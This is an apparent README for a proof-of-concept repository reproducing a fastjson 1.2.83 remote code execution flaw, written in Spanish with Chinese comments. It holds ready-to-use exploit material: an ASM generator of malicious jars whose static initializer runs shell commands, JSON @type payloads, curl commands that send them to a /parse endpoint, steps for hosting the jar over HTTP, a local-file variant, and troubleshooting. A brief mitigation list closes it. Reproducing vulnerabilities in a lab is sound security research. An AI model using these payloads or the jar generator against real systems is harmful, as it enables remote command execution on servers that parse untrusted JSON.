⚠️ Descargo de responsabilidad

Este proyecto se proporciona únicamente para investigación de seguridad, reproducción de vulnerabilidades y pruebas autorizadas. Queda estrictamente prohibido su uso en sistemas no autorizados, ataques ilegales o con fines malintencionados. El usuario es el único responsable de sus propias acciones; el autor no asume ninguna responsabilidad legal por ningún uso indebido.

Artículo de referencia para el análisis de la vulnerabilidad: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w

📖 Descripción del proyecto

Este proyecto construye un entorno completo de reproducción de la vulnerabilidad fastjson 1.2.83 en torno a CVE-2026-16723:

• demo/ —— Aplicación web Spring Boot 2.7.18 vulnerable (dependencia de fastjson 1.2.83), que expone el endpoint POST /parse y llama directamente a JSON.parse(json);
• exp/ —— Generador de jars de sonda maliciosa basado en ASM (dos variantes: protocolo HTTP / protocolo FILE);
• 环境/ —— FatJars precompilados de tres middlewares (Tomcat / Jetty / Undertow), listos para usar.

Idea clave de la explotación: mediante la construcción de un JSON especial cuyo @type es una URL jar, se consigue que fastjson recorra la rama de confianza de la anotación @JSONType → getResourceAsStream descarga el jar remoto/local → defineClass carga la clase maliciosa → la inicialización de la clase dispara <clinit> → ejecución arbitraria de comandos (RCE).

🎯 Resumen de la vulnerabilidad

Condiciones de explotación

1. Código del objetivo: utiliza JSON.parse(json) o JSON.parseObject(json) para analizar directamente entradas no confiables, con una versión de fastjson entre 1.2.66 ~ 1.2.83 y safeMode desactivado;
2. Forma de ejecución del objetivo: Spring Boot FatJar (arrancado con java -jar, LaunchedURLClassLoader; solo Spring Boot ≤ 2.7 conserva la capacidad de retroceso del handler del protocolo jar:);
3. JVM del objetivo: JDK 8 (en JDK 9+, defineClass lanza ClassFormatError; como máximo solo se puede lograr SSRF);
4. Conectividad de red: el objetivo puede acceder al puerto HTTP del equipo atacante (cadena por protocolo HTTP) o puede leer el archivo jar local (cadena por protocolo FILE).

🧩 Principio de la vulnerabilidad

El checkAutoType de fastjson entra en la rama de confianza cuando encuentra una clase anotada con @JSONType, omitiendo la mayor parte de las validaciones de la lista negra y permitiendo su carga. Este proyecto aprovecha este punto usando ASM para escribir bytecode directamente, colocando un «nombre de clase interna ilegal» en el this_class del pool de constantes de la clase, de modo que los tres nombres quedan perfectamente alineados:

@type        jar:http:..2130706433:19090.x!.y        （点形态，无斜杠）
resource     jar:http://2130706433:19090/x!/y.class   （点 -> 斜杠）
this_class   jar:http://2130706433:19090/x!/y         （字节码内部类名）

Estructura de la clase maliciosa:

1. Anotación @JSONType —— la llave que abre la rama de confianza del checkAutoType de fastjson;
2. Constructor por defecto <init>()V —— garantiza que fastjson pueda instanciar la clase con normalidad;
3. Bloque de inicialización estática <clinit> —— en la inicialización de la carga de la clase se ejecuta Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), logrando la ejecución de comandos.

Un nombre de clase ilegal no se puede escribir con javac; solo ASM puede escribir la URL directamente en el pool de constantes — por eso el generador de este proyecto depende de asm-9.6.jar.

📁 Estructura del proyecto

CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查（http / file 协议两条命令）
├── demo/                        # 漏洞靶场源码（Spring Boot 2.7.18 + fastjson 1.2.83）
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链（jar:http）
│   ├── GenProbefile.java        # FILE 协议链（jar:file）
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar（开箱即用）
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Endpoint del laboratorio de pruebas

demo/src/main/java/com/example/demo/controller/VulController.java：

@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型，直接解析不可信输入
    return "Parsed!";
}

🚀 Inicio rápido

1. Iniciar el laboratorio de vulnerabilidades

El laboratorio debe ejecutarse en un entorno JDK 8 (coherente con las condiciones de explotación).

# 方式 A（推荐）：直接使用预编译 FatJar，三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B：源码构建运行（默认 Tomcat，需本机安装 Maven）
cd demo
mvn spring-boot:run

Dirección del endpoint tras el arranque: http://127.0.0.1:8080/parse

💥 Explotación de la vulnerabilidad

Método 1: cadena por protocolo HTTP (jar:http, recomendado)

① Compilar el generador

cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Generar el jar de sonda maliciosa

java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'

• 19090 —— Puerto HTTP de alojamiento del jar malicioso
• open -a Calculator —— Comando que se ejecutará en la máquina objetivo (abre la calculadora en macOS; en Linux se puede usar id > /tmp/pwned 2>&1 para verificar si el archivo existe)

Por defecto se genera el archivo x (sin extensión), que contiene y.class; el payload es:

{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Alojar el jar malicioso (servicio HTTP)

python3 -m http.server 19090

Asegúrate de que python3 -m http.server se inicie en el directorio donde se generó el archivo x.

④ Enviar el payload al objetivo

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Verificar

El resultado de la ejecución del comando no se refleja en la respuesta HTTP; hay que confirmarlo en la máquina objetivo:

# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器（open -a Calculator）

Método 2: cadena por protocolo FILE (jar:file)

Escenario de uso: el objetivo no puede acceder al puerto HTTP del equipo atacante (aislamiento de red interna / salida a Internet restringida), pero se puede colocar el archivo jar en el sistema de archivos de la máquina objetivo.

① Compilar el generador

cd exp
javac -cp asm-9.6.jar GenProbefile.java

② Generar el jar de sonda en el directorio correspondiente del objetivo

java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

El generador calcula la URL jar:file: basándose en el directorio actual (el separador de directorios / se reemplaza por .); por ejemplo, si se genera en /tmp/project/exp, el payload es:

{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ Colocar el jar generado en el directorio correspondiente del objetivo

Sube/copia el archivo generado y a la ruta absoluta de la máquina objetivo que corresponde al @type (por ejemplo, /tmp/project/exp/y), manteniendo la misma estructura de directorios.

④ Enviar el payload al objetivo

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

Nota: la ruta de la cadena FILE debe ser exactamente idéntica a la ruta real del archivo en la máquina objetivo; de lo contrario, el sondeo de recursos falla y no se puede activar la carga.

⚙️ Descripción de los parámetros del generador

GenProbeHttp (cadena por protocolo HTTP)

GenProbefile (cadena por protocolo FILE)

Conversión de IP a formato entero

2130706433 es el entero sin signo de 32 bits de 127.0.0.1; escribirlo como entero evita que el . de la IP se vea alterado por la lógica de reemplazo . → / de fastjson. Cuando el equipo atacante no está en la máquina local:

python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 Preguntas frecuentes

Error autoType is not support. jar:http:...

Indica que el jar se pudo descargar (el SSRF ya se ha confirmado), pero TypeUtils.loadClass devolvió null. Prácticamente solo hay dos causas:

1. La clase maliciosa no lleva la anotación @JSONType —— el sondeo no supera la rama de confianza y ni siquiera llega a loadClass;
2. El nombre de clase interna de la clase maliciosa no está alineado con @type —— el nombre real de la clase no coincide con el usado en defineClass, por lo que la carga falla.

El generador de este proyecto ya resuelve ambos puntos a la vez: anotación @JSONType + alineación de los tres nombres.

¿Un único envío de jar:http sigue sin lograr RCE?

Si el ClassLoader del objetivo no es LaunchedURLClassLoader (por ejemplo, ejecución directa desde el IDE, un war normal o Spring Boot 3.x), la cadena de un solo envío jar:http no logra RCE; como máximo solo se puede verificar SSRF.

¿Por qué se requiere JDK 8?

En JDK 9+, defineClass valida de forma más estricta los nombres de clase ilegales y lanza ClassFormatError, rompiendo la cadena en la fase de carga.

🛡 Recomendaciones de mitigación

1. Actualizar el componente: fastjson 1.x ya no recibe mantenimiento; se recomienda migrar a fastjson2 (o actualizar a una versión corregida) y seguir los avisos de seguridad oficiales;
2. Activar safeMode: ParserConfig.getGlobalInstance().setSafeMode(true); deshabilita por completo autoType;
3. Evitar analizar entradas no confiables: no llames directamente a JSON.parse(json) / JSON.parseObject(json) con entradas del usuario; utiliza en su lugar JSON.parseObject(json, Xxx.class) para especificar explícitamente el tipo de destino;
4. Usar listas blancas/negras: a través de ParserConfig.addAccept(...) solo se permiten clases de confianza;
5. Actualizar Spring Boot / JDK: el uso de versiones más recientes de JDK y Spring Boot reduce la superficie explotable;
6. Minimizar la exposición: aplica autenticación a las interfaces expuestas a Internet e intercepta las cargas útiles @type sospechosas con un WAF.

📚 Referencias

• GitHub oficial de fastjson: https://github.com/alibaba/fastjson
• Aviso de seguridad / inteligencia de vulnerabilidades de fastjson: https://github.com/alibaba/fastjson/wiki/security_update_guidance